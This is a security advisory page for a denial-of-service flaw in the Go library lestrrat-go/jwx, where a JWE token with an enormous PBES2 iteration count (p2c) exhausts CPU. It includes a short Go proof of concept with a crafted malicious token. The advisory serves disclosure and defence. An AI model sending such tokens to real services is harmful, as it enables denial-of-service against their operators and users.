GHSA-7f9x-gw85-8grf

    Dashboard / Vulnerabilities / GHSA-7f9x-gw85-8grf

    GHSA-7f9x-gw85-8grf

    Published: 5 Dec 2023Last Modified: 10 Sept 2026

    Summary: lestrrat-go/jwx's malicious parameters in JWE can cause a DOS

    Details: ### Summary too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack ### Details The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack ### PoC ```go package main import ( "fmt" "github.com/lestrrat-go/jwx/v2/jwa" "github.com/lestrrat-go/jwx/v2/jwe" "github.com/lestrrat-go/jwx/v2/jwk" ) func main() { token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA") key, err := jwk.FromRaw([]byte(`abcdefg`)) payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key)) if err == nil { fmt.Println(string(payload)) } } ``` ### Impact It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

    Affected packages

    Package

    Name: github.com/lestrrat-go/jwx

    Purl: pkg:golang/github.com/lestrrat-go/jwx

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -1.2.27

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High
    GHSA-7f9x-gw85-8grf | CVE-DB